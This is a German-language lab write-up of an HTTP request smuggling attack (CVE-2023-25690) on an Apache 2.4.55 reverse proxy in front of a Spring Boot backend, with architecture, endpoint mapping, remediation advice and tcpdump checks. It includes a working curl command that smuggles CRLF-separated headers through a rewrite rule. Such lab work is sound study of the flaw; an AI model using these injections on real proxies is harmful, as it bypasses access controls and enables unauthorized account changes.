
HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection
| Komponente | Rolle | Version |
|---|---|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (verwundbar) |
| Spring Boot (eingebetteter Tomcat) | Backend-API | 4.x (Java 21) |
| SQLite | Datenbank | — |
Benutzer ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: nicht bereinigte CRLF
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> blockiert
POST /public/register: ermöglicht die Registrierung von Benutzern in der Datenbank
POST /public/login: ermöglicht den Login durch Überprüfung der eingegebenen Anmeldedaten und gibt ein Sitzungstoken aus
GET /public/dashboard: geschützter Bereich der Benutzer
GET /api/status: akzeptiert den Parameter „name“, ist ein Beispiel-Endpunkt zur Überprüfung des Status von Diensten
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: ist eine theoretisch für die Öffentlichkeit unzugängliche Route, die es Administratoren ermöglicht, Benutzerdaten zu ändern
Während der Penetrationstest-Aktivität wurde eine kritische Schwachstelle in der Reverse-Proxy-Infrastruktur identifiziert, die das Spring-Boot-Backend exponiert. Der Apache-HTTP-Server-Proxy in Version 2.4.55 ist von der Schwachstelle CVE-2023-25690 (HTTP Request Smuggling) betroffen, die es einem Angreifer ermöglicht, die auf dem Proxy auferlegten Sicherheitsfilter zu umgehen und direkt ungeschützte interne administrative Endpunkte zu erreichen.
Der Angriff nutzt das Fehlen einer Bereinigung von Steuerzeichen (CRLF) in den RewriteRule-Regeln von Apache aus und ermöglicht die Einschleusung einer zweiten HTTP-Anfrage zwischen den Parametern einer legitimen Anfrage an das Backend. Der Proof of Concept hat die unautorisierte Änderung von Benutzeranmeldedaten in der Datenbank über den Endpunkt /admin/edit/{id}/{newName}/{newPass}, der theoretisch durch die Proxy-ACLs geschützt ist, demonstriert.
Empfehlungen: Apache HTTP Server umgehend auf Version ≥ 2.4.56 aktualisieren, die Sicherheitsfilter auf dem Proxy verstärken und eine Sicherheitsebene auf der Backend-Seite (Spring Security) für alle sensiblen Endpunkte implementieren.
Identifizierung der Apache-Version durch Analyse der HTTP-Header der Antwort.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Ergebnis: Der Server-Header zeigt Apache/2.4.55. Konsultation der CVE-Datenbank → Übereinstimmung mit CVE-2023-25690.
Gemäß der CVE gilt: Wenn in dieser Apache-Version eine RewriteRule vorhanden ist, die generische Zeichen aus der Anfrage an den Proxy in die Ziel-URL des Backends kopiert, wird der übertragene Text nicht bereinigt, sodass auch Steuerzeichen (wie Zeilenumbrüche) durchgelassen werden.
Zum Beispiel: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // das P steht für Proxy-Modus
Unser Ziel ist es nun, einen möglichen Endpunkt zu entdecken, der diese Übertragung auf Proxy-Ebene durchführt.
Aus der Analyse der Antworten und dem Verhalten der Anwendung wird beobachtet, dass die Sitzung über JSESSIONID verwaltet wird, was die Verwendung eines Java-Servlet-Containers (wie Apache Tomcat, Jetty oder WildFly) bestätigt. Darüber hinaus gibt die Anfrage an nicht existierende Endpunkte eine „Whitelabel Error Page“ zurück, was darauf hindeutet, dass im Backend Spring Boot verwendet wird.
Mithilfe eines Bash-Skripts zur Automatisierung des Wörterbuch-Fuzzings wurden die im Netzwerk exponierten Endpunkte kartiert (vermutlich alle).
Ergebnis:
| Endpunkt | HTTP-Code | Methode | Parameter |
|---|---|---|---|
| admin | 403 | GET | (keine Parameter) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (keine Parameter) |
| public/logout | 200 | GET | (keine Parameter) |
| api/status | 200 | GET | (keine Parameter) |
| service/* | 200 | GET | (keine Parameter) |
Da
beide dieselbe Antwort zurückgeben, wird klar, dass sie auf denselben Backend-Endpunkt verweisen. Da außerdem Anfragen wie /service/x/y/z (die höchstwahrscheinlich nicht existieren) kein 404 zurückgeben, kann abgeleitet werden, dass der ursprüngliche Endpunkt einen Parameter und keine Pfadvariable akzeptiert. Zusammenfassend lässt sich also ableiten, dass Anfragen an /service/<Dienst> über eine RewriteRule an das Spring-Boot-Backend übersetzt werden (genau das, wonach wir gesucht haben). Nun gilt es herauszufinden, ob diese RewriteRule dumm ist, also eine Regex wie .* verwendet, oder ob sie gut strukturiert ist.
Ich versuche, Steuerzeichen in die Anfrage einzufügen, um den legitimen Inhalt vom verborgenen zu trennen:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... Der Dienst 'x' ist betriebsbereit und stabil.
Ich habe einen benutzerdefinierten Parameter eingefügt, um zu überprüfen, ob die CRLF korrekt interpretiert werden.
trash_header hat die Aufgabe, die Header zu kapseln, die Apache in die Anfrage an das Backend einfügt (auf diese Weise werden sie als einfacher Text des X-Headers interpretiert und haben für die HTTP-Anfrage keinen Wert).
Mit tcpdump im Backend-Container konnte ich die von Apache kommende HTTP-Anfrage abfangen:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
Das Backend sieht diese Anfrage:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
„Die Steuerzeichen haben die Kontrolle übernommen“
Die Antwort zeigt mir, dass der Teil mit den Steuerzeichen ungehindert als Struktur der HTTP-Anfrage selbst und nicht nur als Parameter durchgegangen ist (da der vom Backend abgefangene Name nur 'x' ist). Wir haben also das Format der HTTP-Anfrage an das Backend vorgegeben und der Proxy hat es übernommen. Dies ebnet den Weg für die eigentliche Smuggling-Payload.